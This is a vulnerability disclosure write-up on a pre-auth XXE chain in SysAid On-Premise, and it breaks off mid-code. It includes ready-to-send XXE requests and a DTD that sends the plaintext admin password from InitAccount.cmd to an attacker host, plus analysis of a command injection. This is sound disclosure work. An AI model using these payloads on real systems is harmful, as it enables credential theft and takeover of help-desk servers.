SysOwned, Your Friendly Support Ticket - SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends)

SysOwned, Your Friendly Support Ticket - SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends)

It’s… another week, and another vendor who is apparently experienced with ransomware gangs but yet struggles with email.

In what we've seen others term "the watchTowr treatment", we are once again (surprise, surprise) disclosing vulnerability research that allowed us to gain pre-authenticated Remote Command Execution against yet another enterprise-targeting product - specifically, SysAid On-Premise (version 23.3.40) here-on referred to as “SysAid”.

Clarifying SysAid’s Product Lineup
Although SysAid’s website often refers to “SysAid ITSM” and “SysAid HelpDesk” as if they were distinct offerings, these are simply different branding labels for the same core platform. In reality, SysAid provides just two separate products based on deployment model:
SysAid On-Prem: The classic, self-hosted version of the platform, installed and managed within your own data center or private cloud.
SysAid SaaS: The fully hosted, cloud-delivered version of the identical platform, maintained by SysAid and accessible via web browser.

A brief look at the news shows that SysAid is no stranger to vulnerabilities, and their “business-critical” solutions have previously received attention from ransomware gangs.

In recent blog posts, we’ve discussed “business-critical” appliances and identified endless vulnerabilities in your favourite backup and replication appliances. So we thought it was time to give another business-critical piece of tooling some love—IT Service Management (ITSM) solutions.

ITSM solutions truly earn their designation as business-critical infrastructure. They often serve as the primary interface for support tickets and are responsible for housing all the sensitive information you’d expect regarding internal tickets, incidents, knowledge base entries, and asset inventories.

It goes without saying - ITSMs are genuine, Internet-facing, treasure troves for your neighbourhood miscreants, red teams, and squirrels.

It should come as no surprise that due to precisely these factors, ITSM solutions remain an extremely attractive target to ransomware gangs who look for any opportunity to double-extort organizations, encrypt systems, and steal sensitive data.

Today, we’ll walk you through our discovery of the following vulnerabilities:

  • CVE-2025-2775 - XML External Entity Injection
  • CVE-2025-2776 - XML External Entity Injection
  • CVE-2025-2777 - XML External Entity Injection
Small editors note: Enjoy the timeline.

Let’s dive in and walk through how we achieved complete pre-authenticated Remote Command Execution (RCE) as SYSTEM earlier this year.

One Small Shout Out..

Shout out to the SysAid product security team, who truly committed to only responding to emails asking for help reproducing complex XXE vulnerabilities while ignoring our other emails for almost three months. Thankfully, they eventually managed to deploy patches.

We remain big fans of our private and public community service initiatives.

A Little XXEplainer

As with much watchTowr research, this quest to pre-auth Remote Command Execution started with a feeling.

On a very regular basis, we hunt “interesting” enterprise appliances and software, looking for software that gives us… the feeling.

The feeling - often defined as vibes, intuition, and meme-ability - struck us, with SysAid On-Prem catching our eye for further investigation. Once the feeling has been achieved, we become a little more methodical in determining whether we should invest further time:

  • Is it a business-critical appliance? Yes.
  • Is it highly prevalent on the public internet? Tick.
  • Does it contain sensitive information? Absolutely.
  • Has it been historically targeted by threat actors? Check.

The Architecture

Think of the SysAid server as just another Windows box in your closet, except this one handles every IT ticket, asset record, and help-desk magic you throw at it.

In an on-premise deployment, SysAid runs as a Windows Server–based application within your organization’s infrastructure.

The SysAid Windows installer sets up a handful of background services, but at its core, it’s super exciting - it is a Java-powered web server that runs straight from bundled JAR files.

The main application logic resides in sysaid.jar, which is of course your usual 18mb JAR file with hundreds of classes.

While SysAid delivers a rich and extensive feature set, each additional feature and extra capability broadens the overall attack surface we must assess.

As usual, our first goal is to understand better what we’re looking at, and to map out the system's functionality.

Taking a quick peek at its web.xml reveals over 700 exposed Java servlets, a huge ecosystem where misconfiguration and overlooked edge-case bugs can lurk unnoticed. Naturally, this gives a fairly large opportunity for things to go horribly wrong.

The First Pre-Auth XXE

Our journey starts with identifying a pre-auth XXE within the /mdm/checkin endpoint.

Due to the naming convention, we were immediately suspicious that mobile devices were likely using this method as part of the mobile device management flow, periodically pinging the SysAid instance to share their status.

When diving into the codebase, our eyes were therefore set on looking for all things MDM, and all things request parsing.

Very quickly (we mean, very very quickly), we identified a method that satisfied all of these requirements as part of the GetMdmMessage class:

com.ilient.mdm.GetMdmMessage#doPost

This method is responsible for wrangling incoming requests aimed towards /mdm/ prefixed paths. In particular, if the request URI is /mdm/checkin, this method is responsible for calling the PropertyListParser.parse(byteArray) function to process the user-supplied data contained within the HTTP POST request - naturally, without validation or sanitization.

Here is our code snippet of interest:

 1:  public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
 2:  String requestURI = httpServletRequest.getRequestURI();
 3:  String stringBuffer = httpServletRequest.getRequestURL().toString();
 4:  if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {
 5:      stringBuffer = stringBuffer.replace("http:", "https:");
 6:  }
 7:  String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));
 8:  if (stringBuffer.lastIndexOf("/mdm/") > 0) {
 9:      this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);
10:  } else {
11:      this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";
12:  }
13:  
14:  [..SNIP..]
15:  
16:  } else if (requestURI.endsWith("checkin")) {
17:              IlientConf.logger.debug("GetMdmMessage 5: CHECK_IN");
18:              
19:              // XXE Vulnerability is triggered here
20:              NSDictionary parse2 = PropertyListParser.parse(byteArray);
21:              
22:              String obj3 = parse2.objectForKey("MessageType").toString();
23:              parse2.objectForKey("Topic");
24:              String obj4 = parse2.objectForKey("UDID").toString();
25:              if (obj3.equals("TokenUpdate")) {
26:                  String obj5 = parse2.objectForKey("PushMagic").toString();

Let's break down the following code line by line:

  1. Line [2]: The user‑provided URI is stored in the requestURI variable.
  2. Line [3]: The request URL is stored in the stringBuffer variable.
  3. Line [8]: The code checks whether stringBuffer contains the /mdm/ path.
  4. Line [16]: If the /mdm/ check passed, the code then verifies whether requestURI ends with "checkin".
  5. Line [20]: If the above checks pass, our user-supplied data is parsed, triggering the XXE.

Following this logic, the first XXE can be triggered by sending the following request:

POST /mdm/checkin HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 129

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">
%foo;
]>

We’re swiftly returned a HTTP 200 with a blank response, and an immediate attempt to fetch /watchTowr.dtd from our attacker-controlled server:

This request contains one of our favorite indicators of successful XXE, a tell-tale Java User-Agent, proving that we're successfully triggering the vulnerability:

Bam! Textbook XXE.

Unsatisfied that this was really the vulnerability research we’d set out to perform, we carried on looking for more…

The First Second Pre-Auth XXE, But Different

The second Pre-Auth XXE vulnerability occurs in the same method but on a different line

com.ilient.mdm.GetMdmMessage#doPost

At Line [21], user-provided data within the POST request is once again parsed by PropertyListParser.parse with no sanitization, leading to another XXE:

 1:   public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
 2:          String requestURI = httpServletRequest.getRequestURI();
 3:          String stringBuffer = httpServletRequest.getRequestURL().toString();
 4:          if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {
 5:              stringBuffer = stringBuffer.replace("http:", "https:");
 6:          }
 7:          String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));
 8:          if (stringBuffer.lastIndexOf("/mdm/") > 0) {
 9:              this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);
10:          } else {
11:              this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";
12:          }
13:  [..SNIP..]
14:  
15:  
16:      } else if (requestURI.endsWith("serverurl")) {
17:          new String(byteArray);
18:          IlientConf.logger.debug("GetMdmMessage 8: SERVER_URL");
19:          // XXE vulnerability here
20:          
21:          NSDictionary parse3 = PropertyListParser.parse(byteArray);

If we break down the following code line-by-line:

  1. Line [2]: The user‑provided URI is stored in the requestURI variable.
  2. Line [3]: The request URL is stored in the stringBuffer variable.
  3. Line [8]: The code checks whether stringBuffer contains the /mdm/ path.
  4. Line [16]: If the /mdm/ check passed, the code then verifies whether requestURI ends with "serverurl".
  5. Line [21]: If the above checks pass, our user-supplied data is parsed, triggering the XXE.

The following request triggers the vulnerability

POST /mdm/serverurl HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 129

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">
%foo;
]>

Once again, we’re returned a HTTP 200 with a blank response, and an immediate attempt to fetch /watchTowr.dtd from our attacker-controlled server, indicating success:

The Third Pre-Auth XXE

The third XXE triggers when sending a request to the /lshw endpoint, causing the following method to get executed:

com.ilient.agentApi.LshwAgent#doPost

This method doesn’t do much, to be very honest. Primarily, it’s a wrapper to check for the existence of various HTTP parameters.

Once we get past that mess of excitement, another method is called to handle the main logic, achieved by executing the following statement new b().a():

public class LshwAgent extends HttpServlet {
    public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
        try {
            if (new b().a(new CharArrayReader(MiscUtils.ReaderToChars(httpServletRequest.getReader())), Helper.convertParameter(httpServletRequest, ContentPackSchedulerConstants.ACCOUNT_ID), Helper.convertParameter(httpServletRequest, "serial"), Helper.convertParameter(httpServletRequest, "osName"), Helper.convertParameter(httpServletRequest, "osVer"), Helper.convertParameter(httpServletRequest, "osCode"), Helper.convertParameter(httpServletRequest, "osKernel"), Helper.convertParameter(httpServletRequest, "agentVersion"), httpServletRequest, getServletContext())) {
                httpServletResponse.getWriter().println("OK");
            } else {
                httpServletResponse.sendError(500, "Error while processing request.");
            }
        } catch (Exception e) {
            IlientConf.logger.error("Exception in LshwAgent", e);
            httpServletResponse.sendError(500, "Error while processing request.");
        }
    }
}

Speed running reading of this code, eventually, the following method is called:

com.ilient.agentApi.b#a

This XXE vulnerability is just as trivial to exploit.

The user-provided HTTP POST request is directly processed by this method, performing multiple operations before eventually reaching our code snippet of interest:

 1:  public final boolean a(Reader reader, String str, String str2, String str3, String str4, String str5, String str6, String str7, HttpServletRequest httpServletRequest, ServletContext servletContext) {
 2:      MessageDocument newInstance;
 3:      MessageType addNewMessage;
 4:      SoftwareType addNewSoftware;
 5:      InventoryType inventory;
 6:      MachineType addNewMachine;
 7:      boolean z;
 8:      BufferedReader bufferedReader;
 9:      String str8;
10:      StringBuffer stringBuffer;
11:      int indexOf;
12:      try {
13:          newInstance = MessageDocument.Factory.newInstance();
14:          addNewMessage = newInstance.addNewMessage();
15:          addNewSoftware = addNewMessage.addNewBody().addNewInventory().addNewSoftware();
16:          this.z = addNewMessage.getBody().getInventory().addNewStorageDevices();
17:          inventory = addNewMessage.getBody().getInventory();
18:          addNewMachine = inventory.addNewMachine();
19:          this.y = addNewMachine.addNewMachineSMBIOS();
20:          this.D = inventory.addNewDisplay();
21:          z = false;
22:   
23:      [..SNIP..]
24:                  }
25:              } else if (z) {
26:                  if (readLine.startsWith("**********software-end**********")) {
27:                      z = false;
28:                  } else {
29:                      String[] split = readLine.split("\\\\|\\\\|\\\\|");
30:                      if (split != null && split.length >= 5) {
31:                          addNewSoftware.addSoftwareProduct(split[0] + " - " + split[2] + SysaidConstants.DEFAULT_DOMAIN + split[1]);
32:                      }
33:                  }
34:              } else if (z) {
35:                  if (readLine.startsWith("**********partitions-end**********")) {
36:                      z = false;
37:                  } else {
38:                      String[] split2 = readLine.split("[ \\\\t]+");
39:                      int i = split2[0].length() > 0 ? 0 : 1;
40:                      if (split2 != null && split2.length >= 4 && !split2[i + 0].equalsIgnoreCase("major")) {
41:                          String str9 = split2[i + 3];
42:                          if (str8 == null || !str9.startsWith(str8)) {
43:                              str8 = str9;
44:                              String str10 = "/dev/" + str9;
45:                              StorageDeviceType addNewStorageDevice = this.z.addNewStorageDevice();
46:                              addNewStorageDevice.setStorageLogicalName(str10);
47:                              addNewStorageDevice.setStorageCapacity(a(split2[i + 2]) << 10);
48:                          }
49:                      }
50:                  }
51:              }
52:          } else if (readLine.startsWith("**********lshw-begin**********")) {
53:              z = true;
54:          } else if (readLine.startsWith("**********meminfo-begin**********")) {
55:              z = true;
56:          } else if (readLine.startsWith("**********cpuinfo-begin**********")) {
57:              z = true;
58:          } else if (readLine.startsWith("**********software-begin**********")) {
59:              z = true;
60:          } else if (readLine.startsWith("**********partitions-begin**********")) {
61:              z = true;
62:          } else {
63:              stringBuffer.append(readLine);
64:              stringBuffer.append('\\n');
65:          }
66:          IlientConf.logger.error("Error while parsing request", e);
67:          return false;
68:      }
69:      InputSource inputSource = new InputSource(new StringReader(stringBuffer.toString()));
70:      SAXParser sAXParser = new SAXParser();
71:      sAXParser.setContentHandler(this);
72:      try {
73:          // XXE triggered here
74:          sAXParser.parse(inputSource);
75:      } catch (Exception e3) {
76:          IlientConf.logger.error("Error in SAXParser ", e3);
77:      }

Breaking this code down into the operations we’re interested in:

  1. Line [69]: Wrap the received data in an InputSource using
  2. Line [70]: Create and configure a new SAXParser instance.
  3. Line [71]: Set the current class as the parser’s ContentHandler.
  4. Line [74]: Parse our user-supplied data, triggering the XXE.

The exploitation of this XXE vulnerability is just as simple, needing to pass a few parameters such as

  • osVer
  • osCode
  • osKernel
  • and others..

These parameters are necessary to satisfy the exciting usage of if() conditions, which once again check for the existence of said parameters.

For our third complex XXE (complex complex complex), the following HTTP request allows us to trigger the vulnerability:

POST /lshw?osVer=a&osCode=b&osKernel=c&agentVersion=e&serial=f HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 129

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">
%foo;
]>

We’re greeted with a HTTP 200 and “OK” response, alongside an immediate request to our attacker-controlled server, indicating success:

Performative XXEs

Performative vulnerabilities, like the XXEs above, feel like the type of currently-lacking-in-impact vulnerabilities you might rely on a consultancy for - said consultancy must however be wrapped in as many rebrands as you feel is achievable across a short space of time.

Anyway, we digress…

Freshly armed with three XXE’s - as eluded to above, we’re still missing something essential… impact.

We’ve satisfied the PoC || GTFO requirement, but what can we do with them?!

In typical XXE fashion, we have a few options for exploitation:

  • Retrieve local files containing sensitive information
  • Poke other systems on an internal network
  • Interact with a localhost-bound network service
  • Denial-of-Service (boring!)

We decided to lead an easy life and go straight to an attempt to leak file content, in this case aimed at the win.ini file.

To set things up, we hosted an exfil.dtd containing the following content:

<!ENTITY % d SYSTEM "file:///C:\\windows\\win.ini">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://192.168.8.107/?e=%d;'>">

Then, using the complexity of 1000 geniuses, we constructed the following complex HTTP request to trigger the XXE with our external DTD:

POST /mdm/serverurl HTTP/1.1
Host: 192.168.8.162:8080
Content-Length: 119

<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>

As expected, we immediately get a callback requesting our exfil.dtd file, but don’t see any indications of the second stage executing and calling back to us with the contents of win.ini … weird.

Undeterred, and assuming that we’re just not very good with computers, we decided to try and determine what limitation might exist by manually creating a file named secret.txt with the following content:

Updating our external DTD to point at this new file, we then attempted to exfiltrate this file using the same payload as before:

It works! We immediately get a request for our exfil.dtd , and a secondary request containing the content of our file!

We had an immediate hunch and decided to add a few additional lines to our file and try again:

Okay, so we’re onto something—if a file has more than one line of content, we cannot exfiltrate it with our fresh shiny XXEs. This is slightly frustrating, but ultimately, it reduces the opportunities to escalate any of these XXE vulnerabilities into something more serious.

Note: In recent Java releases, this mitigation was added specifically to block the full disclosure of file contents during XXE attacks. One workaround is to (ab)use error-based XXE, but in this instance, the XXE was entirely blind.

Looking back at SysAid's architecture and our hackers' handbook of things to try, maybe there are internal services we can hit.

Nope.

Escalating XXE to Admin Account Takeover

Undeterred, we kept thinking.

We asked ourselves—is it possible that in this shiny enterprise-grade and polished solution, there is a file that contains no special characters and the first line contains something of material use to us?

What if there were a text-based file, with sensitive information in plaintext?

“Impossible, it’s 2025 and everything important is just stored in a database!”, we thought, to our naive and unenlightened selves.

SysAid, who was many steps ahead of us, thought differently and kindly had left us an option just sitting there on the filesystem:

C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd

This file is created during installation by SysAid and contains the clear-text password of the main administrator in its first line.

"C:\\Program Files\\SysAidServer\\jre\\bin\\java" -cp "C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysaid.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\activation-1.1.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\activityLogEntry.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\agentSettings.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\agentSettingsv2.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\amazon-kinesis-client-2.2.11.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\amazon-sqs-java-extended-client-lib-2.0.2.jar; C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\stax-utils-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\streambuffer-0.4.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sts-2.16.73.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysaid-common.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysaid.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\sysAidAgentFolder.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\test-utils-2.16.73.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\tika-core-2.9.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\usageStatisticsData.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\usageStatisticsQueries.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\utils-2.16.73.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\validation-api-1.1.0.Final.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\velocity-1.7.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\vpro-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiInventory.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiInventoryResp.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiQuickScanResp.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiScan.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wmiScanResp.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\ws-commons-util-1.0.2.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wsdl4j-1.6.2.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\wstx-asl-3.2.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xalan-2.7.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xercesImpl-2.9.0.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xml-apis-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xml-apis-xerces-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xml-resolver-1.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlbeans-2.3.0.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlParserAPIs-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlrpc-client-3.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xmlrpc-common-3.1.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\XmlSchema-0.0.1-s.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\xpp3-1.1.4c.jar;C:\\Program Files\\SysAidServer\\root\\WEB-INF\\lib\\zip4j-2.9.1.jar;" com.ilient.server.InitAccount "C:\\Program Files\\SysAidServer\\root" "sysaid_instance" "sysaid_instance" **"admin" "P@ssW0rd"** "2"

Take a look above at our example InitAccount.cmd - do you see it?

Right at the very end, you can see both a username and clear-text password. As you can see in the above output, the administrator username is admin and the password is P@ssw0rd (as an example).

This is important because, and hopefully satisfies our need for a single-line file, with sensitive data that we can use.

The best part about this file? It remains on the system post-installation, even after it has been used to create the initial accounts!

Now you, an astute human with reasoning skills, might wonder why the file even exists? Well, the following occurs:

  1. When you execute the installer for SysAid On-Perm, the user is asked to enter a password for their shiny new admin account.
  2. This is the password that is then beautifully taken, transported carefully, and then dumped in plaintext into InitAccount.cmd .
  3. Subsequently, the solution installer copies all solution files to the system and asks for your license.
  4. If a valid license is provided, the now-installed solution is initialised, and as part of that initialisation, InitAccount.cmd is executed.
  5. This creates the default administrator account with the specified password.
  6. You revel in the wonder of why we ever had databases for anything.

Many of you will now see where this is heading.

Using our XXE vulnerability, we should be able to extract this file and retrieve the specified plaintext password, giving us full administrative access to SysAid as an administrator-privileged user.

Let’s try it.

Again, being repetitive robots and not agentic, we host the following DTD on our attacker-controlled host:

<!ENTITY % d SYSTEM "file:///C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://192.168.8.107/?e=%d;'>">

Secondly, we send yet another HTTP request to trigger the XXE, specifying our remotely hosted DTD:

POST /mdm/serverurl HTTP/1.1
Host: target
Content-Type: application/xml
Content-Length: 121

<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>

As expected - we receive the full contents of the file we need, containing our new-favourite plaintext password.

But is this pre-authenticated Remote Command Execution?

It is not, so we march on.

From Admin to Pwned: The SysAid RCE Speedrun

In January 2025, we disclosed the vulnerabilities mentioned above to SysAid and spent two months truly enjoying the fluent, transparent, and generally pleasurable communication with SysAid.

Once we woke up from that delusional dream and were curious whether these vulnerabilities could be escalated further, we looked at historical vulnerability disclosures for inspiration.

Fairly quickly, we spotted several previously disclosed and patched vulnerabilities, mostly path traversals used to gain some form of RCE, but all were post-authentication.

Using this new knowledge to give us confidence that there might be more, we started hunting for the final piece of the puzzle—translating our pre-auth XXE → password disclosure into full-blown Remote Command Execution.

At this point, in March 2025, we were rudely awakened from our blissful and ignorant existence when we spotted lines in SysAid’s changelog describing patches for items that sounded suspiciously like the XXE vulnerabilities we’d disclosed, resolved in version 24.4.60.

“Surely not?” we thought, out of surprise that SysAid had managed to communicate with others despite their challenges communicating with us.

Slightly heartbroken, we continued reading the changelog, noticing something extra—the patch notes mentioned an “OS Command Injection Vulnerability Fix.”

Could this be it? Could this be precisely what we are looking for to complete our chain?!

Editors note: To be extremely clear, before we get passive aggressive tweets from people who clearly have nothing better to do in their lives, we did not discover/report the OS Command Injection that we will detail now. Whoever originally discovered this - we hope we do this some justice.

We started patch diffing and were immediately greeted with a significant number (100+ changes), not all of which were security-related.

Interestingly, the change of interest didn’t immediately jump out to us (which is surprisingly given OS command injection vulnerabilities are usually a little easier to spot in changes).

The following compiled JSP page appeared to be where our attention needed to be focused:

com.ilient.jsp.API_jsp

Here is the diff, do you see the vulnerability?

Let's isolate the vulnerable code, stare at the following code, and read through the following breakdown:

  • Line [45]: Check for the presence of the updateApiSettings request parameter to determine if the user intends to update API settings.
  • Line [46]: If present, pull the javaLocation value directly from the HTTP request.
  • Line [47]: Retrieve the current user’s account ID from loginInformationBean.
  • Line [48]: Persist the new javaLocation into the account’s settings via AccountPropertiesManager.

At this stage, there’s no direct command injection; the user input is simply read and stored. However, because JavaLocation later gets placed into a shell script (as we saw around lines 40–49), this becomes a second‑order command‑injection risk.

Exciting - quickly realising that we needed to trace exactly how and where AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION is used when building and executing those scripts to confirm it’s appropriately sanitized:

 1:  public final void _jspService(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
 2:      LoginInformationBean loginInformationBean;
 3:      if (!DispatcherType.ERROR.equals(httpServletRequest.getDispatcherType())) {
 4:          String method = httpServletRequest.getMethod();
 5:          if ("OPTIONS".equals(method)) {
 6:              httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");
 7:              return;
 8:          } else if (!OAuthMessage.GET.equals(method) && !OAuthMessage.POST.equals(method) && !"HEAD".equals(method)) {
 9:              httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");
10:              httpServletResponse.sendError(405, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
11:              return;
12:          }
13:      }
14:      JspWriter jspWriter = null;
15:      ?? r0 = 0;
16:      PageContext pageContext = null;
17:      try {
18:          httpServletResponse.setContentType("text/html");
19:          PageContext pageContext2 = f171a.getPageContext(this, httpServletRequest, httpServletResponse, (String) null, true, (int) Helper.USER_SELF_SERVICE, true);
20:          pageContext = pageContext2;
21:          pageContext2.getServletContext();
22:          pageContext2.getServletConfig();
23:          HttpSession session = pageContext2.getSession();
24:          JspWriter out = pageContext2.getOut();
25:  
26:          [..SNIP..]
27:          
28:          new VelocityContext();
29:          String str = null;
30:          r0 = PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApi"));
31:          if (r0 != 0) {
32:              try {
33:                  String str2 = GlobalPaths.getPath(loginInformationBean.getAccountID(), GlobalPathsKeys.API_DIR, true, false) + "/";
34:                  IlientConf.logger.debug("Home dir " + IlientConf.HOME_DIR);
35:                  IlientConf.logger.debug("apiLocation: " + str2);
36:                  r0 = com.ilient.api.a.a.a(loginInformationBean, str2);
37:                  str = r0;
38:                  if (r0 == 0) {
39:                      str = "Updating API successfully. Please restart your SysAid Serivce";
40:                  }
41:              } catch (Exception e) {
42:                  IlientConf.logger.error("Exception in updating API: ", e);
43:              }
44:          }
45:          if (PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApiSettings"))) {
46:              String parameter = httpServletRequest.getParameter("javaLocation");
47:              r0 = loginInformationBean.getAccountID();
48:              AccountPropertiesManager.addAccountStringProperty(r0, AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION, parameter);
49:              try {
50:                  loginInformationBean.getAccount();
51:                  r0 = loginInformationBean;
52:                  Account.auditAccountSave((LoginInformationBean) r0, r0.getAccountID(), resourceBundle.getString("accountSaveMsg.apiSettings"));
53:              } catch (Exception e2) {
54:                  IlientConf.logger.error("Failed to save API: ", e2);
55:                  out.write("\\n            <script>\\n              alert(\\"");
56:                  out.print(Helper.escapeToJS(resourceBundle.getString("save.fail.concurrent.modification"), loginInformationBean.getCharset()));
57:                  out.write("\\");\\n              location.href=\\"API.jsp\\";\\n            </script>\\n        ");
58:              }
59:          }
60:          String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);
61:          out.write("\\n<!DOCTYPE html>\\n<html style=\\"overflow: hidden; width: 100%;\\">\\n\\n<head>\\n    <META http-equiv=\\"Content-Type\\" content=\\"text/html; charset=");
62:          out.print(loginInformationBean.getCharset());
63:          out.write("\\"/>\\n    <title>");
64:          out.print(resourceBundle.getString("page.title"));
65:  
66:          [..SNIP..]

AccountPropertiesConstants.*SYSAID_API_SETTINGS_JAVA_LOCATION is utilized in the following method:

com.ilient.api.a.a#a

The relevant code from this method is below:

 1:  public static String a(LoginInformationBean loginInformationBean, String str) {
 2:      String[] list;
 3:      if (loginInformationBean == null) {
 4:          throw new Exception("Login Bean is null.");
 5:      }
 6:      ResourceBundle resourceBundle = loginInformationBean.getResourceBundle();
 7:      String str2 = null;
 8:      String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);
 9:      if (accountStringProperty == null || accountStringProperty.trim().length() == 0) {
10:          return resourceBundle.getString("api.empty.path");
11:      }
12:      boolean isWindows = Helper.isWindows();
13:      try {
14:          String str3 = str + "src/com/ilient/api/";
15:          String str4 = str3 + "sysaidObjects/";
16:          new File(str4).mkdirs();
17:        
18:  
19:          [..SNIP..]
20:        
21:          printWriter2.flush();
22:          printWriter2.close();
23:          new File(str + "/classes").mkdirs();
24:          list = new File(str + "../lib/").list();
25:      } catch (Exception e) {
26:          IlientConf.logger.error("Error in updating SysAid API jar file", e);
27:          e.printStackTrace();
28:          str2 = resourceBundle.getString("api.update.fail.sysaid.logs");
29:      }
30:      if (list == null || list.length == 0) {
31:          return resourceBundle.getString("api.webinf.lib.files.missing");
32:      }
33:      String str5 = isWindows ? ";" : ":";
34:      StringBuffer stringBuffer = new StringBuffer();
35:      for (int i = 0; i < list.length; i++) {
36:          if (list[i].endsWith(".jar")) {
37:              stringBuffer.append(str5).append("../../lib/").append(list[i]);
38:          }
39:      }
40:      String str6 = isWindows ? "src/updateApi.bat" : "src/updateApi.sh";
41:      PrintWriter printWriter5 = new PrintWriter(new FileOutputStream(str + str6));
42:      if (!isWindows) {
43:          printWriter5.write("#!/bin/sh\\n");
44:      }
45:      printWriter5.write("cd \\"" + str + "src\\"\\n");
46:      printWriter5.write("\\"" + accountStringProperty + "javac\\" -d ../classes -cp .;../../classes" + stringBuffer.toString() + " com/ilient/api/*.java com/ilient/api/sysaidObjects/*.java\\n");
47:      printWriter5.write("\\"" + accountStringProperty + "wsgen\\" -d ../classes -cp .;../../classes" + str5 + "../../lib/api4sysaid.jar" + str5 + "../../lib/sysaid.jar com.ilient.api.SysaidApiService\\n");
48:      printWriter5.write("cd ../../lib\\n");
